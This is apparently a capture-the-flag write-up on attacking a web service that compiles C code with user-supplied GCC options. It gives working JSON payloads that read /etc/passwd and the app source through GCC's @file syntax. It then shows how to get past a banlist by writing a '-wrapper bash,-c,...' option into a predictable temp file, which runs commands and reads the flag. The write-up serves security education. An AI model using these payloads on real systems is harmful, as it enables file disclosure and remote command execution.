This black box challenge was an interesting exploration of the options that the GCC compiler has. Eventually, we bypass a filter to execute arbitrary commands in this CLI tool.

The Challenge

The only thing we get in the challenge is the following page that we can interact with:

This allows you to write C code and compile it with any flags or environment variables. This sounds pretty powerful if the goal is to achieve Remote Code Execution and read the flag. Note that the C code is not run though, only compiled and the binary is sent back for you to download. Any errors can also leak some interesting information like the long filenames in the example above.

There is a GTFOBins entry for gcc explaining a few ways to exploit the features:
https://gtfobins.github.io/gtfobins/gcc/

The -wrapper option seems perfect, but maybe a bit too simple. We can try it though to see what happens:

JSON

{
    "code": "",
    "gcc_options": [
        "-wrapper",
        "echo,abc",
    ],
    "gcc_envars": {},
}

Error: -wrapper is banned in the banlist.txt

Indeed, this option is banned and any request containing it will not be executed. We need to get a little more creative.

Leaking file contents

The GTFOBins page also shows two different methods for 'File read', maybe those are not blocked? Trying the @/path/to/file syntax we get the following response:

JSON

{
    "code": "",
    "gcc_options": [
        "@/etc/passwd",
    ],
    "gcc_envars": {},
}

 

gcc: error: root:x:0:0:root:/root:/bin/bash: No such file or directory
gcc: error: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such file or directory
gcc: error: bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such file or directory
...

That's all the content from /etc/passwd! This @ symbol seems to not be blocked, so we can leak any file with it as long as the content isn't too strange. Now the question becomes: what file do we read? Things like flag, /flag, flag.txt or /flag.txt are all not found so it is likely we need to get full Remote Code Execution to find the flag.

From some earlier testing, we can notice that the managing Python script crashes if there is no output file:

Shell

$ gcc --version
Compilation Error.

Traceback (most recent call last):
  File "/data/app/__init__.py", line 77, in compile_code
    with open(file_name[:-2], 'rb') as binary_file:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'

This is interesting because it also shows the path to the Python file in the traceback:
/data/app/__init__.py

We can leak this file just like we did before to better understand what is happening and maybe find an exploit there. Here's the contents:

Python

@app.route("/compile", methods=["POST"])
def compile_code():
    # Check if the request contains JSON data
    if not request.is_json:
        return jsonify({"error": "Invalid JSON data"}), 400

    try:
        data = request.json
        code = data.get(code, )
        gcc_options = data.get(gcc_options, [])
        gcc_envars = data[gcc_envars]

        # Generate a unique filename using SHA256 hash of the code
        file_hash = hashlib.sha256(code.encode()).hexdigest()
        file_name = f"/tmp/{file_hash}.c"

        # Write the code to a temporary file
        with open(file_name, "w") as file:
            file.write(code)

        # Check for banned options
        try:
            with open("/data/15e94765365729ab9599cd8ba2a4634aa8bcd9ec3961daf633f611d9f575a48b/banlist.txt", "r") as banlist_file:
                banned_options = [line.strip()
                                  for line in banlist_file.readlines()]
        except:
            banned_options = []

        for option in gcc_options:
            if option == "":
                gcc_options.remove("")
            if option in banned_options:
                os.remove(file_name)  # Remove temporary file
                return jsonify({"error": f"Error: {option} is banned in the banlist.txt"}), 400

        # Compile the code using gcc system command
        try:
            compile_command = ["gcc", file_name] + \
                gcc_options + ["-o", file_name[:-2]]
            gcc_envars["PATH"] = os.getenv("PATH")

            print(compile_command)
            p = subprocess.run(compile_command, env=gcc_envars,
                               check=True, capture_output=True)

        except Exception as e:
            try:
                os.remove(file_name[:-2])  # Remove compiled file
            except:
                pass
            return jsonify({"error": f"Compilation error: {e.stdout.decode()}\n\n\n{e.stderr.decode()}"}), 500

        try:
            # Read the compiled binary and return it in the response
            with open(file_name[:-2], "rb") as binary_file:
                binary_data = binary_file.read()

            os.remove(file_name)  # Remove temporary file
            os.remove(file_name[:-2])  # Remove compiled binary
            return jsonify({"result": "Compilation successful", "binary": base64.b64encode(binary_data).decode(), "out": p.stdout.decode(), "warn": p.stderr.decode()})
        except Exception as e:
            return jsonify({"result": "Compilation error", "out": p.stdout.decode(), "warn": p.stderr.decode(), "python_error": traceback.format_exc()})
    except Exception as e:
        return jsonify({"error": traceback.format_exc()}), 500

The ban list seems to be stored at /data/15e94765365729ab9599cd8ba2a4634aa8bcd9ec3961daf633f611d9f575a48b/banlist.txt. We also find some logic here where files are deleted in some cases, but not in other cases. The filename is also generated in file_name by calculating the sha256 hash of the code content, that is something we could predict if needed.

When we attempt to read out the banlist.txt file with this same exploit, we cannot get its contents in the error because the options in there are instead interpreted as command-line arguments themselves. This is what the @/path/to/options syntax does, it loads options from a file and executes normally after that.

Bypassing the Filter

The source code of this script allows more specific attacks on the application, but there are still many unexplored options in GCC that may be exploitable. But we just learned that the @ syntax loads options from a file. If we think about it, that is exactly what we need! If we can write our banned options like -wrapper to a file beforehand, and then load it from the file, no filter would block it as they are not passed directly.

We can create arbitrary content in a file by writing options inside the C code, which is written to disk as we read. That means we can make one request where we write the content, and because the file is not deleted and its file path is leaked in the error message, we can use it right after in another second request where we import the options from the .c file. For style points, though, we can even predict the random hash because it is a sha256 hash of the code we send, and it is written before the GCC command is executed. That way we only need one request to trigger the vulnerability.

We'll create a command to run arbitrary code in bash, which after some local experimenting, looks like this:

C

-wrapper 'bash,-c,id,--,X'

Then, we calculate its path locally:

Python

>>> import hashlib
>>> code = "-wrapper 'bash,-c,id,--,X'"
>>> file_hash = hashlib.sha256(code.encode()).hexdigest()
'4c6696b5f012af4ffa14db687e103f5531d287f0447dec9718bbf20f2736c003'
>>> file_name = f"/tmp/{file_hash}.c"
'/tmp/4c6696b5f012af4ffa14db687e103f5531d287f0447dec9718bbf20f2736c003.c'

Finally, we prepare the arguments in JSON to load the -wrapper options from this C file:

JSON

{
    "code": "-wrapper 'bash,-c,id,--,X'",
    "gcc_options": [
        "@/tmp/4c6696b5f012af4ffa14db687e103f5531d287f0447dec9718bbf20f2736c003.c",
    ],
    "gcc_envars": {},
}

Sending this request, it writes our content to the predicted path, which we load options from right after in the GCC command. This then runs our id command and in the error output this is visible:

uid=1001(user) gid=1001(user) groups=1001(user)

Finally, we can read the flag in the current directory with a random name:

JSON

{
    "code": "-wrapper 'bash,-c,cat flag-*.txt,--,X'",
    "gcc_options": [
        "@/tmp/adbf808db2059850ce439cb4397f989633d52e55dd94d5288206667583005697.c",
    ],
    "gcc_envars": {},
}

This prints the flag in the output:
GCC{gcc_1s_f0r_GNU_Compiler_Collection_Or_Galettes_Cidre_CTF???}